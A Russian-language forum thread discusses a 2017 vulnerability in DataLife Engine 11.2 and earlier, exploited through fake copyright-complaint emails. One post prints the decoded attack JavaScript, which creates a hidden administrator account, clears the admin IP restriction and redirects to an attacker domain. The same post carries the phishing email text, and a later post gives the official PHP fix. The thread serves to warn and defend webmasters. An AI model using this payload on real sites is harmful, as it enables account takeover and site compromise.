Скрыть объявление
ВАШИ ПРАВА ОГРАНИЧЕНЫ!

Зарегистрируйтесь на форуме, чтобы стать полноценным участником сообщества!

Уязвимость dle 11.2 и ниже недостаточная фильтрация данных

Тема в разделе "Модули DLE", создана пользователем byroot, 6 мар 2017.

06.03.17 в 16:33
20.12.19 в 14:24
36
9.458
15
  1. europa1988

    europa1988 Бывалый

    Регистрация:
    24 фев 2016
    Сообщения:
    613
    Лучших ответов:
    2
    Рейтинги:
    +113 / 11 / -0
    отправил в личку!
    это стандартный, я дополнительно использую сторонний антивирус, который блочит все инъекции самостоятельно, и вообще много функций у него
     
  2. impyros

    impyros Бывалый

    Регистрация:
    24 янв 2017
    Сообщения:
    215
    Лучших ответов:
    0
    Рейтинги:
    +23 / 8 / -0
    он никому не поможет у тех кто поменял пол движка

    у меня вообще всё переписано почти - сделал так же как создатели - взял и переделал
     
    #22 impyros, 7 мар 2017
    Последнее редактирование модератором: 8 мар 2017
  3. volkod

    Кодер PRO Users

    Регистрация:
    15 окт 2016
    Сообщения:
    97
    Лучших ответов:
    0
    Рейтинги:
    +45 / 0 / -0
    кому интересно вот код из закодированной ссылки
    Код:
    "></a>
    
    <code style='display: none;' id='LJKwqoiDHqewE'></code>
    <script>
    function A(){
    var q;
    try{q=new ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{q = new ActiveXObject("Microsoft.XMLHTTP");}catch (E){
    q = false;}}if(!q && typeof XMLHttpRequest!='undefined'){q = new XMLHttpRequest();}return q;
    }
    var rp="/";
    var ul="petromadsss";
    var up="d1478963D";
    var um="[email protected]";
    var objhttp=A();
    objhttp.onreadystatechange = function() 
    {
        if (objhttp.readyState == 4) 
        {
            var r=new RegExp(atob('ZGxlX2FkbWluXHMqPVxzKignfCIpKC4rPykoJ3wiKQ=='));
            var da=r.exec(objhttp.responseText)[2];
            r=new RegExp(atob('ZGxlX2xvZ2luX2hhc2hccyo9XHMqKCd8IikoLis/KSgnfCIp'));
            var dh=r.exec(objhttp.responseText)[2];
            objhttp.open("POST",rp+da+'?mod=editusers&action=list',true);
            objhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            objhttp.send('action=adduser&user_hash='+dh+'&mod=editusers&regusername='+ul+'&regpassword='+up+'&regemail='+um+'&reglevel=1');
            var objhttp2=A();
            objhttp2.onreadystatechange=function()
            {
                if(objhttp2.readyState==4)
                {
                    var sd=document.getElementById('LJKwqoiDHqewE');
                    sd.innerHTML=objhttp2.responseText.replace(/(<script)/i,'');
                    var ael=sd.getElementsByTagName('*');
                    var pd='';
                    r=new RegExp(atob('XihzYXZlX2Nvbik='));
                    for(var i=0;i<ael.length;i++)
                        if(r.test(ael[i].name))
                            pd=pd+ael[i].name+'='+encodeURIComponent(ael[i].value)+'&';
                    pd=pd+'save_con[admin_allowed_ip]=&mod=options&action=dosavesyscon&user_hash='+dh;
                    var objhttp3=A();
                    objhttp3.open('POST',rp+da+'?mod=options&action=syscon',true);
                    objhttp3.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
                    objhttp3.send(pd);
                    window.location.href = "http://g00gleapis.ru/81NJLH";
                }
            }
            objhttp2.open('GET',rp+da+'?mod=options&action=syscon',true);
            objhttp2.send(null);
        }
    
    }
    objhttp.open('GET', rp, true);
    objhttp.send(null);
    </script><a href="http://g00gleapis.ru/81NJLH
    
     
  4. TopicStarter Overlay
    byroot

    Забанен

    Регистрация:
    10 окт 2015
    Сообщения:
    12.297
    Лучших ответов:
    54
    Рейтинги:
    +5.205 / 74 / -0
  5. volkod

    Кодер PRO Users

    Регистрация:
    15 окт 2016
    Сообщения:
    97
    Лучших ответов:
    0
    Рейтинги:
    +45 / 0 / -0
    код примитивный я про js именно, а вот в пхп чувак покопался что бы найти к чему прицепится. Тут ума сильно не надо было, особенно после того как в дле правили уязвимость с фильтрацией можно было предположить что есть еще дыры такие же.
     
  6. serob27

    serob27 Новичок

    Регистрация:
    27 фев 2017
    Сообщения:
    43
    Лучших ответов:
    0
    Рейтинги:
    +0 / 0 / -0
    а это чем опасна если отложит ремонт файла ?
     
  7. TopicStarter Overlay
    byroot

    Забанен

    Регистрация:
    10 окт 2015
    Сообщения:
    12.297
    Лучших ответов:
    54
    Рейтинги:
    +5.205 / 74 / -0
  8. Ломоносов

    Ломоносов Новичок

    Регистрация:
    11 фев 2017
    Сообщения:
    25
    Лучших ответов:
    0
    Рейтинги:
    +4 / 0 / -0
    Только вчера прочитал эту тему, и тему с сылкой на дле форум которую Zivler выше кинул где типа ломанули и на тебе, сегодня приходит такая же херь.

    Уважаемая администрация веб сайта ***.com,
    Материалы, принадлежащие нашему клиенту, размещены на Вашем сайте. Клиент разрешения на их публикацию на указанном веб ресурсе не давал. Существуют основания для запрета клиентом к распространению в сети данных файлов, а также основания, в случае отказа удаления, признания соответствующих действий компрометирующими. Просим удалить материалы в течение 3-х рабочих дней со дня получения данного письма. Данное письмо просим считать официальным электронным уведомлением*, которое является зарегистрированным в соответствующей электронной базе t&p, заверено электронной подписью и может быть использовано t&p в качестве аргумента в случае возникновения дополнительных разбирательств.

    Ссылка на материал
    _________
    *зафиксирован t&p как официальное средство уведомления состоянием на 22 марта 2017 года

    С уважением, Екатерина Стрельцова
    Ведущий специалист t&p
    tokarevpartners.ru
    Regards, Kate Stleltzova
     
    #28 Ломоносов, 23 мар 2017
    Последнее редактирование модератором: 25 мар 2017
  9. TopicStarter Overlay
    byroot

    Забанен

    Регистрация:
    10 окт 2015
    Сообщения:
    12.297
    Лучших ответов:
    54
    Рейтинги:
    +5.205 / 74 / -0
    @Ломоносов, при чем этот спам и данная тема? Письма правообладателей всегда приходили и будут приходить, но никак не в ЛС а на почту.
     
  10. Ломоносов

    Ломоносов Новичок

    Регистрация:
    11 фев 2017
    Сообщения:
    25
    Лучших ответов:
    0
    Рейтинги:
    +4 / 0 / -0
    Это не просто абуза, каких миллион приходит. Такой месседж мне пришел именно на почту. В этом сообщении есть ссылка на материал. При клике начинает исполняться скрипт, злоумышленник получает права админа и начинат чудить. Выше кидали ссылку на форум ДЛЕ, где чел подробно рассказывает как его точно так ломанули. А написал я это, потому что через день после того как я прочитал эту тему, мне пришла аналогичная херь. Еслиб не прочитал, может на автомате бы и кликнул по вредоссылке=)
     
  11. TopicStarter Overlay
    byroot

    Забанен

    Регистрация:
    10 окт 2015
    Сообщения:
    12.297
    Лучших ответов:
    54
    Рейтинги:
    +5.205 / 74 / -0
    @Ломоносов, вот то что мне пришло! Никаких ссылок нет кроме как ссылка на главную страницу моего сайта:
    ссылка только в начале и в конце где http:// стоит. Более никаких ссылок не было.

    Так же нет никаких документов ни каких ссылок ни ссылки на сам материал ни названия материала на который пришла жалоба!

    Вполне возможно что у меня сработал вовремя установленный фикс...

    PS да и вообще при просмотре каких-либо ссылок на почте надо смотреть что прописывается в href к ссылке, а не переходить по всем ссылкам.
     
  12. Superwanget

    PRO Users

    Регистрация:
    16 фев 2017
    Сообщения:
    266
    Лучших ответов:
    0
    Рейтинги:
    +40 / 14 / -0
    На dle-news обновился пост по поводу уязвимости

    https://dle-news.ru/bags/v112/1715-nedostatochnaya-filtraciya-dannyh.html

    Далее откройте файл: /engine/ajax/typograf.php и найдите:

    PHP:
    $txt trimconvert_unicode$_POST['txt'], $config['charset'] ) );
    ниже добавьте:

    PHP:
    require_once ENGINE_DIR '/classes/parse.class.php';
    $parse = new ParseFilter();
    $txt $parse->process$txt );
    $txt preg_replace"/javascript:/i""j&#1072;vascript&#58;"$txt );
    $txt preg_replace"/data:/i""d&#1072;ta:"$txt );
     
    • Нравится Нравится x 4
  13. Webleg

    Команда форума VIP Кинотрафик v2

    Регистрация:
    13 ноя 2016
    Сообщения:
    240
    Лучших ответов:
    1
    Рейтинги:
    +76 / 10 / -0
    Аналогично. Только я вот блин кликнул. Подскажите какие файлы смотреть что удалять?
     
  14. MIKE_FM

    MIKE_FM Местный

    Регистрация:
    27 дек 2015
    Сообщения:
    1.884
    Лучших ответов:
    2
    Рейтинги:
    +370 / 43 / -0
    У меня данный фикс стоит, но всё равно пришло сообщение. Правда, без ссылки. Видимо, этот фикс и спас :)
     
  15. Romantv

    Забанен

    Регистрация:
    17 июл 2015
    Сообщения:
    6.992
    Лучших ответов:
    6
    Рейтинги:
    +2.000 / 141 / -0
    Пришло только что
    upload_2018-10-15_23-52-18.png upload_2018-10-15_23-53-4.png
     
  16. uboom

    uboom Новичок

    Регистрация:
    13 мар 2017
    Сообщения:
    28
    Лучших ответов:
    0
    Рейтинги:
    +2 / 1 / -0
  17. Und3rgr0und

    Und3rgr0und Зелёный

    Регистрация:
    20 дек 2019
    Сообщения:
    1
    Лучших ответов:
    0
    Рейтинги:
    +1 / 0 / -0
    • Нравится Нравится x 1
Похожие темы
  1. axel13
    Ответов:
    19
    Просмотров:
    1.503
  2. ZerocooL
    Ответов:
    99
    Просмотров:
    14.308
  3. byroot
    Ответов:
    51
    Просмотров:
    8.913
  4. Winston?!
    Ответов:
    2
    Просмотров:
    427
Загрузка...
Яндекс.Метрика